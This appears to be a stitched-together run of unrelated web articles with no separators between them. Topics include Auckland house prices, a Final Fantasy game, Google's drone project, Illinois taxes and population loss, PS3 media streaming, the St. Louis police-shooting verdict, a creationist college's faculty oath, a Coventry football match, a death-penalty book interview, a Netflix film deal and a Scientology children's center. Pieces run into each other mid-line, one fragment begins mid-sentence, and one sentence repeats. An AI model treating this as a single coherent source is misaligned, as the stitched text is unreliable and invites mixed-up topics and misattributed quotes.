The median sales price for the month increased by 1.8% to $865,000, while the average price - which tends to be more skewed by higher priced houses, rose 2.6% to nearly $944,000.
“The average median price increase over the past 12 months now stands at 10.9%, compared with 17.4% for the 2015 calendar year and 11.1% for 2014," Thompson said.
ASB economist Kim Mundy said house sales had "plummeted" in October, falling 17.1% compared with September on a seasonally-adjusted basis.
"New listings picked up in October after a more subdued than normal September. Seasonally-adjusted new listings rose 5.4% month-on-month and 4.7% year-on-year.
"Total available listings took a step higher given the bounce in new listings and fall in sales. Listings are now back around levels not seen since May 2014. In saying this, inventory levels remain well below historical averages, and low inventory will continue to support prices.
"Average prices rose again in October, to be 12.3% higher than a year ago. But, as the Barfoot & Thompson house price measures can be skewed by compositional changes, we do not place much weight these on price movements.
"These results are in line with what we would expect given the latest round of LVR restrictions. Past LVRs have caused a temporary slow-down in house sales, which is what we are seeing again in these data.
"However, it remains to be seen how long this round of LVRs will weigh on Auckland housing market activity. In the meantime, low inventory, high population growth and low interest rates will continue to support house prices," Mundy said.Meanwhile I'm busy experimenting with not getting to play the bloody game
According to a recently translated interview with Final Fantasy Type-0 director Hajime Tabata, the team "did experiment with" an HD version of the game for consoles. Tabata continues to say that the team felt Type-0, which started as a mobile phone game before ending up a PSP release, should have been on a "high-end machine" and that "If there is a continuation, it definitely would be for a high-end machine."
The scuttlebutt straight from Japan is that Final Fantasy Type-0 is proper good. However, while we were assured of a Western release sometime in late 2011, would be fans are down to counting on a fan translation that is currently in the works. The thought of it being released as a Vita-compatible download seems a laugh at this point.
That's right. Instead of a localized Final Fantasy Type-0, which received rave reviews and could be better than the Final Fantasy XIII it budded from, Square Enix gives us swill like Final Fantasy: All the Bravest. Then blames the console market for its fiscal losses. Lovely.
I assume asking for Bravely Default to be localized is out of the question. Just give me a Final Fantasy XII HD Vita remake and leave me be, Square.
You are logged out. Login | Sign upGoogle announces Project Wing, a drone delivery system that will be a direct competitor to Amazon Prime Air.
Google has always been a company with big ideas, so it’s no shock that they’re trying to get into the drone delivery business. But the thing that’s even more interesting (to me) is the design that they’re using, and the fact that they’ve been working on drone delivery for 2 years which is a actually 1 year longer than Amazon.
What is Project Wing?
Project Wing is a program started by Google x in 2012 to experiment with different possibilities for delivering goods by drones. If you didn’t already know, Google x is a part of Google where they work on top secret innovative projects that usually change the world.
Currently, the main models used in Project Wing are VTOL (vertical takeoff/landing) flying wing designs. These planes are about 5 feet wide, 2.5 feet tall and have 4 propellers.
One of the coolest things about Project Wing is the VTOL design, which basically just means that it hovers vertically like a quadcopter when taking off and dropping packages, but flies just like a plane when going long distances. The reason for this is to have the accuracy of a quadcopter, but the efficiency of a plane all in one model. It also has some other cool features like a super long winch for lowering items to the ground.
Where Did The Design Come From?
The project was originally started by Nick Roy in 2012 to determine if drones were a viable option for delivering packages.
Although the Project Wing designs that we’ve seen so far are very cool, they’re not as original as you may think. A company by the name of Transition Robotics has been making a similar design called the Quadshot, which came out back in 2011. The Quadshot is basically a flying wing with 4 propellors. It looks just like what Google has but smaller and not as clean and elaborate looking.
Unfortunately, Transition Robotics doesn’t seem to make the Quadshot anymore, but it’s a cool idea, and that’s probably where Google got it’s inspiration from.
Project Wing VS Amazon Prime Air
There are a few things that give Google the upper hand in this drone delivery battle. The first is that Google obviously has a lot more resources than amazon, since they already have their own robotics division and have been working on things like self driving cars for many years now.
Another thing to note is that Google already has a prototype that actually works. Although Project Wing is in no way ready for real world applications, in their video they showed that they at least have a working drone which can fly completely autonomously, where as the drone in Amazon’s video was just an octocopter being flown manually.
In some ways, Amazon Prime Air feels more like a publicity stunt, where as Google Wing feels more like a real development of something that could really work many years from now. But who knows! Maybe Amazon really is working on a drone delivery system, and maybe they’re just not telling people about any of the real progress that they’ve made with it.
Google’s Project Wing VideoA recently released IRS report shows what every resident in the state of Illinois already knows: the state is losing population at a record pace.
The Prairie State lost a record $4.75 billion in adjusted gross income to other states in the 2015 tax year, according to recently IRS data released. That's up from $3.4 billion in the prior year. Many of the migrants were retirees who often flock to balmier climes. But millennials accounted for more than a third of the net outflow in tax returns. While Florida with zero income tax was the top destination for Illinois expatriates, the Illinois Policy Institute notes that Illinois lost income and people on net to all of its neighbors – Wisconsin (6,000 people based on claimed exemptions), Indiana (8,200), Iowa (1,900), Missouri (2,000) and Kentucky (1,100). What's the matter with Illinois?
Two words: taxes and corruption:
[S]uffice to say that exorbitant property and business taxes have retarded economic growth. Illinois's corporate tax rate is 9.5%, and pass-through business owners pay 6.45%. Though Illinois's flat 4.95% income tax rate is relatively low compared to its neighbors, Democrats have found other ways to clobber their citizens. Property taxes in Cook County and Chicago's "collar" counties are the highest in the country outside of California and the Northeast. The average homeowner who moves from Lake County, Illinois, across the border to Kenosha County, Wisconsin would receive an annual $3,200 annual property tax cut. Taxes may increase as Democrats scrounge for cash to pay for pensions. Fitch Ratings reported this week that Illinois's unfunded pension liabilities equalled 22.8% of residents' personal income last year, compared to a median of 3.1% across all states and 1% in Florida.
That's the tax part. The corruption part is related to the way taxes are collected. NBC 5 reports on the extraordinary corruption of the Cook County assessor.
Illinois Gov. Bruce Rauner announced plans to call on Cook County Assessor Joe Berrios to resign Monday following an investigation revealing inequities and errors in Berrios' assessment system. Rauner was slated to discuss his stance during a press conference Monday morning at the home of a Cook County resident facing high property taxes, the governor's campaign office said in a release. Berrios continues to face the fallout of a Chicago Tribune/ProPublica Illinois investigation alleging that his office has failed to estimate the value of thousands of properties, sometimes simply carrying over one number from one year to the next. The analysis, published Thursday, also revealed that errors in Berrios' system created "deep inequities" that punished small businesses while "cutting a break" to owners of high-value properties – ultimately forcing homeowners to pay more in property taxes.
That investigation revealed a level of incompetence and corruption rare even for Cook County.
Chicago Tribune:
For example, as the financial crisis cratered the real estate market in 2009, Berrios' predecessor estimated the value of a stout brick building in a bustling commercial area on Chicago's Northwest Side at $13,455,132. Three years later, in 2012, Berrios had taken office and the commercial real estate market had come roaring back. Yet the assessor's estimate did not change: $13,455,132. In 2015, as the market continued to climb, Berrios' office once again arrived at the same number: $13,455,132. Three straight reassessments. Three identical values. Given the complexity of the commercial real estate market and its dynamic nature, experts say it is inconceivable for such values to remain the same over time. But an analysis of more than 40,000 parcels of commercial and industrial property in Chicago shows that, under Berrios, more than two-thirds had identical first-pass values in at least two consecutive reassessments.
Meanwhile, suburban homeowners are watching as their property taxes skyrocket over the same period.
You'd have to be nuts to think of relocating a business to Illinois – not only because of the massive business taxes, but because your employees would be socked with personal and property tax increases that would immediately lower their standard of living.
Illinois residents are voting with their feet. For Springfield, and especially Cook County, it's business as usual.We know our consoles can play games and stream Netflix, but did you know they could just as easily stream the video or audio that’s on your computer? That’s right! There’s no need to burn cd’s/dvd’s or transfer files to a USB stick. Your Playstation 3 or Xbox 360 can access media on your computer through the shared Internet connection and double as a media server.
All you need to do is install a program and you’ll instantly be able to play the movies or music from your computer straight onto the TV your console is connected to. The software is free, open-source software that transcodes (converts on-the-fly) videos into a compatible format and streams it to play on your TV.
So you know what this means? This means that the yoga video that I have uploaded for all of you to enjoy, can easily be watched on that TV in your living room without being confined to your computer monitor or laptop. You could get your family to get in on the yoga too! But of course you are not limited to just movies… you could entertain your guests by playing music or even showing them photo albums. Some other notable features are that you could even browse through zip/rar files, view photos in RAW format and you don’t need any codecs as it will transcode any video file no matter how obscure the format (including MKV, FLV, OGM, etc).
How to play movies on your PS3 or Xbox from your computer
The following instructions are specifically for the PS3. It’s pretty much the same thing for an Xbox.
Step 1: Download “ps3 media server.” and install it. Versions exist for Windows, Mac OS and Linux.
Note: Even though it’s called PS3 Media Server, it works for the Xbox 360 as well because they expanded its capabilities overtime thanks to the magic of open source collaboration.
Step 2: Turn on your PS3/Xbox and log in. Now when you run the program, on the status tab, you should see this picture (or a similar image) indicating you are connected!
Step 3: Since the program has successfully detected your PS3, the “PS3 Media Server” should now appear on the cross media bar. Go to Video (not Video Services) and then choose PS3 Media Server.
And that’s pretty much it! You are now able to browse your computer files and directories the way you would on your own computer and play whatever you find. There’s no folder configuration needed! If you’re a Windows 7 user, your media files are most probably found at C:\Users\YourUserName and then My Videos, Photos, Music, etc.
Everything should work just fine but of course computers are very complex so if you run into problems or can’t get it to work, check out their support forum and see if you could find your solution. Let me know if you liked this idea and again, I wish you all a happy new year! 😀It happened again: A white police officer accused of unnecessarily shooting and killing a black man was found not guilty by a court.
The latest case is in St. Louis, where protests erupted over the weekend as a result of the verdict.
There, a judge on Friday found former local police officer Jason Stockley not guilty of first-degree murder for the 2011 shooting of black motorist Anthony Lamar Smith. “This Court, in conscience, cannot say that the State has proven every element of murder beyond a reasonable doubt, or that the State has proven beyond a reasonable doubt that the defendant did not act in self-defense,” St. Louis Circuit Judge Timothy Wilson declared in his ruling.
Stockley shot and killed Smith after a police chase over an alleged drug deal, claiming that he feared the 24-year-old black man was reaching into his car to grab a gun. But prosecutors argued that Stockley had planted a revolver to justify the killing.
As the St. Louis Post-Dispatch reported, videos show Stockley going back to a police vehicle to go through a duffel bag. Then Smith, who’s dead at this point, is pulled out of his car, and Stockley goes into Smith’s vehicle. Prosecutors suggested that was when he allegedly put the revolver in Smith’s car.
Prosecutors claimed that Stockley can also be heard in police dashboard camera video saying that he’s “going to kill this motherfucker, don’t you know it.” Stockley’s defense insisted he never said this, and it is hard to make out in the video.
Tests found that the revolver only had Stockley’s DNA, not Smith’s. But several videos of the scene never captured Stockley actually carrying the gun.
Judge Wilson said he wasn’t convinced after “[a]gonizingly” going over the evidence. He argued that the gun was too large for Stockley to have successfully hidden it from the cameras, and, citing expert witnesses, that the lack of DNA evidence doesn’t mean Smith didn’t own the gun. And he said it would be strange if Smith didn’t have a gun, given that he was believed to be a drug dealer: “Finally, the Court observes, based on its nearly thirty years on the bench, that an urban heroin dealer not in possession of a firearm would be an anomaly.”
The verdict inspired protests in St. Louis, near where protesters also demonstrated against the police shooting of Michael Brown in Ferguson, Missouri, in 2014. Police arrested dozens at the demonstrations over the weekend, and at one point chanted “whose street, our street” — a mantra that’s commonly used by those protesting police violence — after they cleared a street on Sunday night.
For protesters, this is yet another example of a police officer getting away with needlessly shooting and killing a black man.
But the case also shows why it’s so difficult to punish cops for these shootings: According to the law, police officers only have to reasonably perceive a threat for a shooting to be justified — even if a threat isn’t actually there. Both Stockley and his partner claimed they saw a gun before they opened fire, which would be enough to legally justify a shooting under these standards.
Al Watkins, an attorney for Smith’s fiancée, Christina Wilson, urged everyone to “stay peaceful” after the verdict. But tensions remain high over racial disparities in American policing, with the court’s decision only adding fuel to the fire.
Protests broke out in St. Louis over the weekend
Protests were tense over the weekend, as demonstrators poured out into the streets of the St. Louis area to speak out against the acquittal of Stockley. Although most of the protests were peaceful, things occasionally got violent — with people breaking the windows of some businesses in the area and injuring several people.
According to the Guardian, hundreds went to the demonstrations over the weekend. They blocked off streets. They marched through different areas of the city, including two shopping malls in a wealthy area of the county after beginning in the local police’s headquarters.
But the protests followed a pattern similar to that of the Ferguson demonstrations. Most of the protests were peaceful throughout the day. By nightfall, most protesters had gone home. With about 100 or so protesters remaining, things then got rowdier and rowdier — even violent as some of the participants injured police officers at the demonstrations, knocked over concrete planters, broke windows, and tossed trash cans and other objects into the streets.
Police reinforcements came in through buses on Sunday. They scattered across the city in riot gear, making arrests. In total, more than 50 were arrested over the weekend.
Some of the protesters criticized those who got violent, arguing they don’t represent the full demonstrations. State Rep. Bruce Franks, who participated in the peaceful protests, told the Guardian that those who got violent “are not protesters” but separate from the more organized demonstrators. Protest organizer Anthony Bell said, “I do not say the demonstrators are wrong, but I believe peaceful demonstrations are the best.”
More protests are expected on Monday — all rooted in a belief that police are racially biased, particularly in how they use force.
Black people are much more likely to be killed by police than their white peers
Based on nationwide data collected by the Guardian, black Americans are more than twice as likely as their white counterparts to be killed by police when accounting for population. In 2016, police killed black Americans at a rate of 6.66 per 1 million people, compared to 2.9 per 1 million for white Americans.
There have also been several high-profile police killings since 2014 involving black suspects. In Baltimore, six police officers were indicted for the death of Freddie Gray while in police custody. In North Charleston, South Carolina, Michael Slager was charged with murder and fired from the police department after shooting Walter Scott, who was fleeing and unarmed at the time. In Ferguson, Darren Wilson killed unarmed 18-year-old Michael Brown. In New York City, NYPD officer Daniel Pantaleo killed Eric Garner by putting the unarmed 43-year-old black man in a chokehold.
One possible explanation for the racial disparities: Police tend to patrol high-crime neighborhoods, which are disproportionately black. That means they’re going to be generally more likely to initiate a policing action, from traffic stops to more serious arrests, against a black person who lives in these areas. And all of these policing actions carry a chance, however small, to escalate into a violent confrontation.
That’s not to say that higher crime rates in black communities explain the entire racial disparity in police shootings. A 2015 study by researcher Cody Ross found, “There is no relationship between county-level racial bias in police shootings and crime rates (even race-specific crime rates), meaning that the racial bias observed in police shootings in this data set is not explainable as a response to local-level crime rates.” That suggests something else — such as, potentially, racial bias — is going on.
One reason to believe racial bias is a factor: Studies show that officers are quicker to shoot black suspects in video game simulations. Josh Correll, a University of Colorado Boulder psychology professor who conducted the research, said it’s possible the bias could lead to even more skewed outcomes in the field. “In the very situation in which [officers] most need their training,” he said, “we have some reason to believe that their training will be most likely to fail them.”
Part of the solution to potential bias is better training that helps cops acknowledge and deal with their potential prejudices. But critics also argue that more accountability could help deter future brutality or excessive use of force, since it would make it clear that there are consequences to the misuse and abuse of police powers. Yet right now, lax legal standards make it difficult to legally punish individual police officers for use of force, even when it might be excessive.
Police only have to reasonably perceive a threat to justify shooting
Legally, what most matters in police shootings is whether police officers reasonably believed that their lives were in immediate danger, not whether the shooting victim actually posed a threat.
In the 1980s, a pair of Supreme Court decisions — Tennessee v. Garner and Graham v. Connor — set up a framework for determining when deadly force by cops is reasonable.
Constitutionally, “police officers are allowed to shoot under two circumstances,” David Klinger, a University of Missouri St. Louis professor who studies use of force, previously told Dara Lind for Vox. The first circumstance is “to protect their life or the life of another innocent party” — what departments call the “defense-of-life” standard. The second circumstance is to prevent a suspect from escaping, but only if the officer has probable cause to think the suspect poses a dangerous threat to others.
The logic behind the second circumstance, Klinger said, comes from a Supreme Court decision called Tennessee v. Garner. That case involved a pair of police officers who shot a 15-year-old boy as he fled from a burglary. (He’d stolen $10 and a purse from a house.) The court ruled that cops couldn’t shoot every felon who tried to escape. But, as Klinger said, “they basically say that the job of a cop is to protect people from violence, and if you’ve got a violent person who’s fleeing, you can shoot them to stop their flight.”
The key to both of the legal standards — defense of life and fleeing a violent felony — is that it doesn’t matter whether there is an actual threat when force is used. Instead, what matters is the officer’s “objectively reasonable” belief that there is a threat.
That standard comes from the other Supreme Court case that guides use-of-force decisions: Graham v. Connor. This was a civil lawsuit brought by a man who’d survived his encounter with police officers, but who’d been treated roughly, had his face shoved into the hood of a car, and broken his foot — all while he was suffering a diabetic attack.
The court didn’t rule on whether the officers’ treatment of him had been justified, but it did say that the officers couldn’t justify their conduct just based on whether their intentions were good. They had to demonstrate that their actions were “objectively reasonable,” given the circumstances and compared to what other police officers might do.
What’s “objectively reasonable” changes as the circumstances change. “One can’t just say, ‘Because I could use deadly force 10 seconds ago, that means I can use deadly force again now,’” Walter Katz, a California attorney who specializes in oversight of law enforcement agencies, previously said.
In general, officers are given lot of legal latitude to use force without fear of punishment. The intention behind these legal standards is to give police officers leeway to make split-second decisions to protect themselves and bystanders. And although critics argue that these legal standards give law enforcement a license to kill innocent or unarmed people, police officers say they are essential to their safety.
For some critics, the question isn’t what’s legally justified but rather what’s preventable. “We have to get beyond what is legal and start focusing on what is preventable. Most are preventable,” Ronald Davis, a former police chief who previously headed the Justice Department’s Office of Community Oriented Policing Services, told the Washington Post. Police “need to stop chasing down suspects, hopping fences, and landing on top of someone with a gun,” he added. “When they do that, they have no choice but to shoot."
Police are rarely prosecuted for shootings
Police are very rarely prosecuted for shootings — and not just because the law allows them wide latitude to use force on the job. Sometimes the investigations fall onto the same police department the officer is from, which creates major conflicts of interest. Other times the only available evidence comes from eyewitnesses, who may not be as trustworthy in the public eye as a police officer.
“There is a tendency to believe an officer over a civilian, in terms of credibility,” David Rudovsky, a civil rights lawyer who co-wrote Prosecuting Misconduct: Law and Litigation, previously told Amanda Taub for Vox. “And when an officer is on trial, reasonable doubt has a lot of bite. A prosecutor needs a very strong case before a jury will say that somebody who we generally trust to protect us has so seriously crossed the line as to be subject to a conviction.”
If police are charged, they’re very rarely convicted. The National Police Misconduct Reporting Project analyzed 3,238 criminal cases against police officers from April 2009 through December 2010. They found that only 33 percent were convicted, and only 36 percent of officers who were convicted ended up serving prison sentences. Both of those are about half the rate at which members of the public are convicted or incarcerated.
The statistics suggest that it would have been a truly rare situation if Stockley was convicted of a crime.I think I’ve posted about this once before, but the fracas at Bryan College in Dayton Tennessee (a fundamentalist college named after William Jennings Bryan, and located in the town where he had his Scopes Trial debacle and then died) is continuing, and is described at Inside Higher Ed in a new piece by Coleen Flaherty, “Too small a box.”
Bryan College has long had a “Statement of Belief,” which begins like this:
“the holy Bible, composed of the Old and New Testaments, is of final and supreme authority in faith and life, and, being inspired by God, is inerrant in the original writings”
and goes downhill from there. Every faculty member and all the staff have to sign this annually (I guess that’s to prevent change of belief).
Last February, the College’s Board of Trustees issued a “clarification,” which it claimed was really inherent in the original statement. The clarification read:
“We believe that all humanity is descended from Adam and Eve. They are historical persons created by God in a special formative act, and not from previously existing life forms.”
This, of course, was meant to counteract the new scientific evidence that modern humans never went through a bottleneck of 2, but remained at a size of about 12,000 (10,000 of those in Africa, the remainder those who left Africa about 60,000 years ago to colonize the rest of the world). The College’s explanation, which came with a threat, was this:
In an email, [President Stephen] Livesay, who formerly was a faculty member at Liberty University, said the clarification was necessary “to maintain the historical and current theological position of the college with respect to the origin of man.” Those faculty members who don’t sign the updated statement for next year will have “rejected” the college’s offer of employment, he said.
In other words, Adam and Eve talks, science walks. This caused at least two faculty members to resign, several others to leave for unspecified reasons, and the university’s faculty to give Livesay a 30-2 vote of “no confidence.” The student government also opposed this “clarification” on various grounds, including the claim that it isn’t really a clarification but a change in a statement that was supposed to be immutable.
Curiously, both Professor Ceiling Cat and Karl Giberson were interviewed for this (I suggested Giberson as an evangelical Christian who would probably oppose this), and we came to some kind of agreement. But he still doesn’t get to be called “Uncle”:
Jerry Coyne, professor of ecology and evolution at the University of Chicago, has written extensively about creationism, including on his blog, Why Evolution Is True. He said he’d been following the Bryan case, and saw it as a larger trend among evangelical Christians to assert the historicity of Adam and Eve in a new kind of “Darwin moment,” facilitated by DNA and other scientific discoveries challenging the concept of humanity descending from just two individuals. “It’s sort of amazing to see this clash between religion and science all over again, except that this is kind of sad,” he said. “As soon as you say something about the historicity of Genesis, science education is compromised.” Coyne added that any kind of statement of faith was an affront to science, since it’s rooted in the exploration of new ideas, not swearing “fealty” to any particular belief. Coyne is a declared atheist, but Bryan’s move has raised concerns even among Christian scholars. In an email from Brazil, where he is lecturing on the creationism debate, writer and physicist Karl W. Giberson called the new language “alarming.” “[Religious] colleges should become more accepting of science, not less,” he said. “Bryan’s stance is quite extreme, requiring faculty to sign on to young earth creationism, which includes the belief that the earth is 10,000 years old.” He continued: “In my opinion, schools like Bryan should lose their accreditation. There should be no government approval of any sort for an institution that forces people to affirm that the earth is 10,000 years old, when we know it is 4.5 billion. It is also unconscionable to expect a scientist who knows the earth is 4.5 billion years old to suddenly start believing it is 10,000. How is that supposed to work?”
Good for Karl! But he should have added that there should also be no government approval for an institution that forces people to affirm that humanity descended from only two ancestors described in the Bible. After all, Giberson’s former home, BioLogos, takes no stand on historicity of Adam and Eve, an act of sheer cowardice (and capitulation to fundamentalists) on their part.
Finally, I told Colleen that it’s not unusual for religious schools to have oaths and belief statements that all faculty must sign, and that these are often in direct conflict with science. Here in Illinois, Wheaton College is also an evangelical Christian school, but one I thought was a bit more liberal than Bryan. But looking at its website, I found a “statement of faith” preceded by this (my emphasis):
The doctrinal statement of Wheaton College, reaffirmed annually by its Board of Trustees, faculty, and staff, provides a summary of biblical doctrine that is consonant with evangelical Christianity. The statement accordingly reaffirms salient features of the historic Christian creeds, thereby identifying the College not only with the Scriptures but also with the reformers and the evangelical movement of recent years. The statement also defines the biblical perspective which informs a Wheaton education. These doctrines of the church cast light on the study of nature and man, as well as on man’s culture.
Again the annual affirmation to weed out those whose faith might waver! The statement itself is like Bryan’s, resembling the Nicene Creed, but also includes this:
WE BELIEVE that God directly created Adam and Eve, the historical parents of the entire human race; and that they were created in His own image, distinct from all other living creatures, and in a state of original righteousness. WE BELIEVE that our first parents sinned by rebelling against God’s revealed will and thereby incurred both physical and spiritual death, and that as a result all human beings are born with a sinful nature that leads them to sin in thought, word, and deed.
And yet they not only teach biology at Wheaton, but have a course on ecology and evolution |
clearly went into the opposite direction traffic and went far enough over to run right into that lady head on," said Joseph Cucia, a witness.Police continue to search for the driver and the passenger. The car was not reported stolen.Striker Adam Armstrong struck twice as Coventry opened the season with a 2-0 home win over Wigan. Striker Adam Armstrong struck twice as Coventry opened the season with a 2-0 home win over Wigan.
Striker Adam Armstrong struck twice as Coventry opened the season with a 2-0 home win over Wigan.
The diminutive striker, on loan from Newcastle, struck in the 15th and 61st minutes and would have rounded off his day with a hat-trick but for a shot hitting a post.
Armstrong had seen little of the ball in the opening exchanges but in the 15th minute he sprang to life.
Jim O'Brien spotted Armstrong's run and played the perfect through-ball into his path and the striker finished coolly.
It was the perfect start, but only served only to fire Wigan up as Coventry goalkeeper Lee Burge was forced to make a good save from Will Grigg in the 17th minute.
But too often the lone Wigan striker was left isolated and the visitors were unable to capitalise on a fair share of possession.
Grigg had another chance just before the half-hour mark when Burge came for a cross he had no hope of making, but the striker could not bring his header down low enough.
Wigan reshuffled after the break but it came to nothing as Armstrong subtly guided home his second goal from John Fleck's cross.The Other Side: Tower of Souls was available as a giveaway on July 16, 2017!
Expelled - the adventure of a rabbit on dangerous planets, and all in order to use the only chance to get out of prison and return home to his wife and children.
Exclusive offer from Giveaway of the Day and MyPlayCity! No third-party advertising and browser add-ons!
Beatrice and Lily might look like any other pair of sisters, but they have a dark secret. Hidden from human eyes is a magic tower that contains a portal to the Other Side. One sister wants to open the gateway to gain knowledge and power, regardless of the consequences; the other sister wants to stop her. But which one is good and which one is evil?
Step into the shoes of a detective who must decide which sister will win in the end. Can you resolve a family squabble before the gates to the realm of the dead swing open and horrors beyond imagination pour into this world?Although the individual protections contained in the Bill of Rights never should be dependent upon the whims and caprices of majority rule, public opinion and the death penalty have always been inseparable. Mandery's work, titled A Wild Justice: The Death and Resurrection of Capital Punishment in America, is an important reminder of that link. There is no other way to say it but this: The Supreme Court 40 years ago blinked on capital punishment—blinked because of the public outcry at the very notion of eliminating the death penalty by court order rather than by the political process.
And in blinking, in their zeal to cobble together a majority that would permit executions, the justices who gave us our modern capital jurisprudence failed to adequately articulate a legal theory that supports the death penalty in the context of the Eighth Amendment's protections against "cruel and unusual" punishment. Supporting a practice that embodies the most irreversible act our government can do in our name, this is a baffling vacuum in constitutional law. And yet it persists, 40 years after the Court was supposed to have "fixed" the nation's capital laws.
Apart from reminding us of the Court's political sensitivities, and of the justices' willingness to avoid tough constitutional questions when they can, Mandery's book tells us that those states that pledged to do better after Furman never fulfilled their end of the deal. But we shouldn't merely blame Georgia, Texas or Alabama for wrongful capital convictions. In the name of federalism, the Court never really demanded that states fix the constitutional failures of their capital laws. And so states didn't—and 40 years later still haven't.
To read Mandery's book is to be reminded both of the Court's limitations and of the limitations of the bright men who inhabited it 40 years ago. What Mandery does not address, what will be left to future historians to address, are the reasons why the current justices of that court are so unwilling to confront the obvious deficiencies in the nation's death penalty laws. Mandery explains well why the justices fouled up Furman and Gregg. But what explains or excuses the Roberts Court continuously ignoring the constitutional rights of condemned prisoners and routinely justifying state practices that are both cruel and unusual?
To cap off this year of death penalty coverage, here is my interview with Mandery, conducted last week via email, and edited (a bit) for space.
COHEN: One of the many remarkable things about reading your book is realizing how similar (and still unanswered) are many of the big questions about capital punishment. There is still an enormous racial divide in capital cases. There is still a great deal of arbitrariness in the application of it. And yet the Supreme Court has shown virtually no interest lately in addressing these structural problems that were so fundamental to the Eighth Amendment debate in 1972 and 1976. What do you think accounts for that?EXCLUSIVE: Netflix has acquired global rights from IAC Films to The Meyerowitz Stories (New and Selected), the new film written and directed by Noah Baumbach.
The film, which has been mentioned on the shortlist of potential Cannes titles, will premiere in select theaters and on Netflix later this year. It stars Adam Sandler (who just reupped with Netflix for four more comedy star vehicles), Ben Stiller, Dustin Hoffman, Elizabeth Marvel (Homeland, House of Cards), Grace Van Patten (Tramps, Stealing Cars) and Emma Thompson. It’s described as an intergenerational tale of adult siblings contending with the influence of their aging father. Scott Rudin, Baumbach, Lila Yacoub and Eli Bush produced.
Rex/Shutterstock
It gives Netflix a film with an important filmmaker in the grownup film space with a star cast that once would have gone the prestige theatrical route. Instead, it will bolster the streaming service’s growing feature slate.
“Noah Baumbach is an important voice in American filmmaking, and his films are always highly anticipated around the world,” said Ted Sarandos, Netflix Chief Content Officer, in confirming the deal. “Noah is among the filmmakers that we were eager to work with, and I know that film enthusiasts everywhere will be as moved by this film as we were. We’re thrilled to be the avenue in which global audiences will be able to see the film.”
Baumbach directed the critically lauded Kicking and Screaming, The Squid and the Whale, Margot at the Wedding, Greenberg, Frances Ha, While We’re Young and Mistress America. He received an Academy Award nomination for Best Original Screenplay for The Squid and the Whale.For years, we’ve been telling you about Mace Kingsley Family Center, a place where Scientologists have their children — even infants — subjected to Scientology procedures. And now our Rod Keller looks into a new effort to bring this place to the attention of authorities.
This week a complaint was filed with the Florida Department of Children and Families, alleging that children are being harmed by taking the Purification Rundown at the Mace-Kingsley Family Center, a Scientology front that subjects children to auditing.
The Mace Kingsley Family Center is named after founders Debbie Mace and Carol Kingsley, long time Scientologists who have had a disastrous history in bringing the technology of Scientology to children. The motto of the center is “We Audit Kids.”
The current center delivers a broad range of introductory Scientology services and workshops, but from 1987 to 2002 Mace Kingsley operated as a boarding school for troubled teens near Reserve, New Mexico. On staff was Wally Hanks, whom several former students accuse of providing alcohol to students and sexually molestation. An audio tape exists of Hanks beating a student while ordering him to look at a photo of L. Ron Hubbard.
[Wally Hanks]
The current staff at the Clearwater center does not include Hanks, Mace, or Kingsley, although Kingsley is still listed as President. The center is run by Executive Director Marcy Sargeant and Case Supervisor Greg Smith.
[Marcy Sargeant]
The center provides the Purification Rundown, in which children are given overdoses of vitamins and long saunas in an effort to remove toxins, stored radiation and drug residues from their bodies. The procedure is part of the Scientology “Bridge” and is required of all members. The redness caused by up to 5 grams of Niacin per day is attributed to stored radiation leaving the body. The FDA recommends 14-16 milligrams per day for adults, and 12 milligrams for children ages 9-13. Mace Kingsley makes no allowance in dosages for the age of the child.
Purification Rundown for children at Mace-Kingsley is available. Questions – Answers regarding starting kids on the Purif. 1. What’s the earliest age my child can do the Purif? GENERALLY, AROUND AGE 8 OR 9. OCCASIONLLAY [sic] A BIT YOUNGER. THEY HAVE TO BE ABLE TO DO ALL THE REQUIRED ACTIONS AND WANT TO DO IT. 2. At what age is it safe to give cal-mag to kids? NO AGE BARRIER I KNOW OF 3. Are kids getting the same vitamins than grownups on the Purif? DEFINITELY 4. How can a small body take all the vitamins? THEY EAT THEM WITH FOOD AND SOMETIMES PART OF THE VITS ARE BLENDED IN A SMOOTHY. GRADIENTS ARE APPLIED 5. Do they have to take all the vitamins? YES 6. What if my kid can’t take the vitamins? WE TRY TO HAVE THEM TAKE THEM WITH FOOD OR BLENDED IN A SMOOTHY. IF THAT DOESN’T WORK, WE DON’T START THEM. 7. Does my kid always have to do a full 5 hours schedule? MINIMUM PER PURF SERIES 1 IS 2.5 HOURS. MOST KIDS GRADIENTLY WORK UP TO THE FULL 5 HOURS. 8. What if my kid won’t take the cal-mag or my kid hates cal-mag? IT CAN BE BLENDED WITH JUICE AND OTHER SUBSTANCES 9. Why does a kid need the Purification Rundown? SEE PAGE 1-3 OF PURIF SERIES 1, REGARDING WHAT THE PURIF HANDLES 10. How long a kid takes on the Purif? GENERALLY, 3- 4 WEEKS, SOMETIMES A BIT LESS OR BIT MORE 11. My kid not eat vegetables at all, can I start him on the Purif? NO HE WILL NEED TO EAT VEGGIES, THE PURIF I/C WILL WORK WITH HIM ON THIS. YOU CAN SPEED THINGS UP BY TAKING THEME SHOPPING TO FIND VEGGIES THEY WILL EAT. 12. My kid does not like oil and will not drink it. Can he start the Purif? OIL NEEDS TO BE TAKEN, THIS CAN BE BLENDED IN A DRINK OR PUT ON A SALAD AS COVERED IN PURIF SERIES 7 13. I want to start my kid on the Purif when she is 10-12 because I don’t think a small body can deal with the vitamins before. Is it true? WE HAVE SUCCESFULLY [sic] PUT 100’S OF KIDS THAT AGE AND YOUNGER THRU THE PURIF, ALL WITH GREAT WINS AND NO REPERCUSSIONS. THE KEY IS TO APPLY GRADIENTS, MIXING THEM WITH FOOD AND DRINKS. If you have any other questions – let us know right here. To sign up for the Purification Rundown please call Ken Ferrara: 928 274-5903
[Children on the Purification Rundown at Mace Kingsley]
Mace Kingsley has announced plans for expansion, and several Hungarian Scientologists plan to open a similar center in the near future. The center is also recruiting Scientologists to run a new center in Columbus, Ohio.
[Mace Kingsley seminar in Budapest, Hungary in June 2017]
— Rod Keller
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‘Aftermath’ scores, but Elisabeth Moss can’t bear it
Leah Remini and Mike Rinder accepted the award on behalf of A&E’s Scientology and the Aftermath for best reality series at the Television Critics Awards in Los Angeles last night, but it did not go without notice that just as the award was to be announced, Scientologist actress Elisabeth Moss got up and left from her table up by the stage and didn’t come back until Leah had finished her speech.
Just imagine how many letters the STAND League is going to have to send out about this.
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Posted by Tony Ortega on August 6, 2017 at 07:00
E-mail tips and story ideas to tonyo94 AT gmail DOT com or follow us on Twitter. We post behind-the-scenes updates at our Facebook author page. After every new story we send out an alert to our e-mail list and our FB page.
